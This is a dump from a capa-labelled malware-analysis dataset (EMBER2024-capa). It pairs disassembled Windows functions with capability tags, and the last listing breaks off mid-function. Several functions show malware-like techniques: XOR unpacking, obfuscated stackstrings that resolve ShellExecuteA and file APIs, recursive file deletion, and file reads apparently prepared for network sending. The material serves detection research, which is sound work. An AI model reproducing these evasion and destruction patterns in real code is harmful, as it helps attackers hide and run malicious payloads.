joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41e004]
jne 0x40100a
repz ret
jmp fcn.00401a91

Function at 0x405ebb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41e004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040408b
and dword [ebp - 0x14], 0
cmp dword [0x4206fc], 0
mov dword [ebp - 0x18], eax
jne 0x405f6e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x406016
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x406016
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4206fc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x420700], eax
call edi
push eax
call esi
push 0x41c05c
push ebx
mov dword [0x420704], eax
call edi
push eax
call esi
mov dword [0x42070c], eax
test eax, eax
je 0x405f6e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x420708], eax
mov eax, dword [0x420708]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405fc7
cmp dword [0x42070c], ecx
je 0x405fc7
push eax
call esi
push dword [0x42070c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405fc7
test ebx, ebx
je 0x405fc7
call edi
test eax, eax
je 0x405fbe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x405fbe
test byte [ebp - 8], 1
jne 0x405fc7
or dword [ebp + 0x10], 0x200000
jmp 0x405ffa
mov eax, dword [0x420700]
cmp eax, dword [ebp - 0x18]
je 0x405ffa
push eax
call esi
test eax, eax
je 0x405ffa
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405ffa
mov eax, dword [0x420704]
cmp eax, dword [ebp - 0x18]
je 0x405ffa
push eax
call esi
test eax, eax
je 0x405ffa
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4206fc]
call esi
test eax, eax
je 0x406016
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x406018
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret

Function at 0x41a3c0
Capabilities:
Get disk information

Disassembly:
mov eax, dword [0x4220dc]
push ebx
push esi
mov esi, dword [0x421dfc]
mov ebx, eax
cmp eax, 0x5dd
jne 0x41a3e2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov eax, dword [0x41f1c0]
call fcn.0041a2b0
cmp dword [0x4220dc], 0x2f
jne 0x41a3fd
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push esi
call fcn.0041a2f0
add esp, 4
cmp dword [0x4220dc], 0x568
pop esi
pop ebx
jne 0x41a42a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x1d6c760b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x285d700b
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40208b
Capabilities:
Query environment variable
Set environment variable

Disassembly:
push 0
push 2
push 0x404052
push 0x404044
call dword [sym.imp.Winmm.dll_mciSendStringA]
cmp eax, 0x107
jne 0x402103
mov byte [0x404067], al
push 0x404067
push 0x404070
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
cmp eax, 1
jne 0x402103
call fcn.00403535
push edx
mov eax, eax
push 0
push 2
push 0x404052
push 0x404054
call dword [sym.imp.Winmm.dll_mciSendStringA]
pop edx
add edx, eax
push edx
push 2
push 0x404069
push 0x404070
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
pop edx
add dl, byte [0x404069]
add edx, 0x100
call edx
xor eax, eax
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x403570
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
push 0x40
push ebx
push eax
call dword [sym.imp.kernel32.dll_VirtualProtect]
ret
Function at 0x1000a420
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002da7c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c0
mov dword [ebp - 0x1cc], ecx
mov ecx, dword [ebp - 0x1cc]
add ecx, 4
call fcn.10009c40
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1cc]
add ecx, 0x2c
call fcn.10009c40
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1cc]
add ecx, 0x54
call fcn.10009c40
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1cc]
add ecx, 0x7c
call fcn.10009c40
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x1cc]
mov dword [eax], 0x10007638
mov byte [ebp - 0x1c0], 0x6b
mov byte [ebp - 0x1bf], 0x65
mov byte [ebp - 0x1be], 0x72
mov byte [ebp - 0x1bd], 0x6e
mov byte [ebp - 0x1bc], 0x65
mov byte [ebp - 0x1bb], 0x6c
mov byte [ebp - 0x1ba], 0x33
mov byte [ebp - 0x1b9], 0x32
mov byte [ebp - 0x1b8], 0x2e
mov byte [ebp - 0x1b7], 0x64
mov byte [ebp - 0x1b6], 0x6c
mov byte [ebp - 0x1b5], 0x6c
mov byte [ebp - 0x1b4], 0
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x45
mov byte [ebp - 0x19], 0x76
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x6e
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x41
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c0]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1b0]
push eax
push 0x202
call dword [fcn.100075b0]
push 0x30
call fcn.10023af7
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
push 0
call dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1cc]
mov dword [ecx + 0xac], eax
push 0x30
call fcn.10023af7
add esp, 4
mov edx, dword [ebp - 0x1cc]
mov byte [edx + 0xb5], 0
mov eax, dword [ebp - 0x1cc]
mov dword [eax + 0xa8], 0xffffffff
mov byte [ebp - 0x1c8], 0x58
mov byte [ebp - 0x1c7], 0x6a
mov byte [ebp - 0x1c6], 0x6a
mov byte [ebp - 0x1c5], 0x68
mov byte [ebp - 0x1c4], 0x6a
push 0x30
call fcn.10023af7
add esp, 4
push 5
lea ecx, [ebp - 0x1c8]
push ecx
mov edx, dword [ebp - 0x1cc]
add edx, 0xb0
push edx
call fcn.10023b10
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000e4fe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x33
mov byte [ebp - 6], 0x32
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x6c
mov byte [ebp - 1], 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x68
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x63
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0
call dword [ebp - 0x28]
push 0x30
call fcn.10023af7
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
mov esp, ebp
pop ebp
ret 8
Function at 0x1000ec3e
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
push ebx
push esi
push edi
mov dword [ebp - 0x488], ecx
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x6e
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x6c
mov byte [ebp - 0x32], 0x33
mov byte [ebp - 0x31], 0x32
mov byte [ebp - 0x30], 0x2e
mov byte [ebp - 0x2f], 0x64
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x18], 0x52
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x6d
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x44
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x79
mov byte [ebp - 9], 0x41
mov byte [ebp - 8], 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov byte [ebp - 0x24], 0x25
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x2a
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x2a
mov byte [ebp - 0x1e], 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x27c]
push ecx
call dword [0x10007598]
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x100019dc
push 0x100019ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
lea edx, [ebp - 0x178]
push edx
lea eax, [ebp - 0x27c]
push eax
call dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
nop
nop
nop
nop
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x1000ed5b
xor al, al
jmp 0x1000ee09
movsx ecx, byte [ebp - 0x14c]
cmp ecx, 0x2e
je 0x1000edd5
mov edx, dword [ebp - 0x178]
and edx, 0x10
test edx, edx
je 0x1000eda8
lea eax, [ebp - 0x14c]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x100019fc
lea edx, [ebp - 0x380]
push edx
call dword [0x10007598]
add esp, 0x10
lea eax, [ebp - 0x380]
push eax
mov ecx, dword [ebp - 0x488]
call fcn.1000ec3e
jmp 0x1000edd5
lea ecx, [ebp - 0x14c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x10001a04
lea eax, [ebp - 0x484]
push eax
call dword [0x10007598]
add esp, 0x10
lea ecx, [ebp - 0x484]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x178]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x1002f53c]
test eax, eax
jne 0x1000ed5b
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
test eax, eax
jne 0x1000ee07
xor al, al
jmp 0x1000ee09
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ee12
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x40], ecx
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x46
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], 0
push 0x104
push 0
mov edx, dword [ebp - 0x40]
add edx, 0x20
push edx
call fcn.10023a80
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x40]
add ecx, 0x20
push ecx
call fcn.100249b0
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
jne 0x1000eef0
xor eax, eax
jmp 0x1000ef9d
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0xa
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 8]
push edx
push 0
mov eax, dword [ebp - 0xc]
push eax
call fcn.10023a80
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov byte [ecx], 0x69
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
mov dword [edx + 4], eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
add eax, 9
push eax
call fcn.10023b10
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 0x40]
call fcn.10015e7b
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4
Function at 0x1000efa3
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], ecx
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x46
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
mov edx, dword [ebp + 8]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x48]
add eax, 0x20
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x3c]
cmp dword [ecx + 4], 0xffffffff
jne 0x1000f04f
mov ecx, dword [ebp - 0x48]
call fcn.1000f140
xor eax, eax
jmp 0x1000f13a
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov edx, dword [ebp - 4]
push edx
call dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
jne 0x1000f079
or eax, 0xffffffff
jmp 0x1000f13a
push 0
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x40], 9
mov ecx, 0x2000
sub ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x34], 0
push 0x2000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov byte [edx], 0x6a
push 8
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
call fcn.10023b10
add esp, 0xc
push 0
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x34], 0
jbe 0x1000f11d
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x44]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x48]
call fcn.10015e7b
mov dword [ebp - 0x10], eax
jmp 0x1000f125
mov ecx, dword [ebp - 0x48]
call fcn.1000f140
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4
Function at 0x1000fa92
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 8]
lea eax, [edx + eax + 1]
mov dword [ebp - 4], eax
nop
nop
nop
nop
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x71
mov ecx, dword [ebp - 0xc]
call fcn.1000f1d8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1001147b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
mov dword [ebp - 0x14], 0
push 0x2f
mov eax, dword [ebp + 8]
push eax
call fcn.10025190
add esp, 8
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x100114a9
xor al, al
jmp 0x10011513
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10019c0c
add esp, 8
and eax, 0xff
test eax, eax
jne 0x100114c6
xor al, al
jmp 0x10011513
mov dword [ebp - 0x58], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x50], 0x10001c5c
nop
nop
nop
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x10001c6c
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001151a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 8]
push eax
call fcn.100247a0
add esp, 4
test eax, eax
jne 0x10011537
xor al, al
jmp 0x100115f2
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x33
mov byte [ebp - 6], 0x32
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x6c
mov byte [ebp - 1], 0
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x68
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x63
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x14]
push eax
push 0
call dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x100142ba
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov byte [ebp - 0x12c], 0x6b
mov byte [ebp - 0x12b], 0x65
mov byte [ebp - 0x12a], 0x72
mov byte [ebp - 0x129], 0x6e
mov byte [ebp - 0x128], 0x65
mov byte [ebp - 0x127], 0x6c
mov byte [ebp - 0x126], 0x33
mov byte [ebp - 0x125], 0x32
mov byte [ebp - 0x124], 0x2e
mov byte [ebp - 0x123], 0x64
mov byte [ebp - 0x122], 0x6c
mov byte [ebp - 0x121], 0x6c
mov byte [ebp - 0x120], 0
mov byte [ebp - 0x11c], 0x47
mov byte [ebp - 0x11b], 0x65
mov byte [ebp - 0x11a], 0x74
mov byte [ebp - 0x119], 0x53
mov byte [ebp - 0x118], 0x79
mov byte [ebp - 0x117], 0x73
mov byte [ebp - 0x116], 0x74
mov byte [ebp - 0x115], 0x65
mov byte [ebp - 0x114], 0x6d
mov byte [ebp - 0x113], 0x44
mov byte [ebp - 0x112], 0x69
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x65
mov byte [ebp - 0x10f], 0x63
mov byte [ebp - 0x10e], 0x74
mov byte [ebp - 0x10d], 0x6f
mov byte [ebp - 0x10c], 0x72
mov byte [ebp - 0x10b], 0x79
mov byte [ebp - 0x10a], 0x41
mov byte [ebp - 0x109], 0
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x108], eax
push 0x30
call fcn.10023af7
add esp, 4
push 0x104
lea edx, [ebp - 0x104]
push edx
call dword [ebp - 0x108]
push 0x10001d74
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x30
call fcn.10023af7
add esp, 4
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esp, ebp
pop ebp
ret
Function at 0x10014414
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], 0x78
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x50
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x63
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x73
mov byte [ebp - 2], 0x73
mov byte [ebp - 1], 0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push 0x30
call fcn.10023af7
add esp, 4
call fcn.100142ba
push 0x30
call fcn.10023af7
add esp, 4
push 0xf003f
push 0
push 0
call dword [fcn.100074a0]
mov dword [ebp - 0x18], eax
push 0x30
call fcn.10023af7
add esp, 4
push 0x10000
push 0x10030014
mov edx, dword [ebp - 0x18]
push edx
call dword [fcn.100074a4]
mov dword [ebp - 0x14], eax
push 0x30
call fcn.10023af7
